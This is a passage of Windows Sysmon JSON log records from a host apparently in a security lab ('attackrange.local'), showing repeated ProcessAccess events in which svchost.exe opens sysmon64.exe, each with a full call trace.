C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.766","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1476,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.766\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.766","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1477,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.766\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.766","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1478,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.766\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.766","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1479,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.766\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.766","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1480,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.766\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.766","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1481,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.766\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.766","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1482,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.766\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.766","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1483,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.766\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 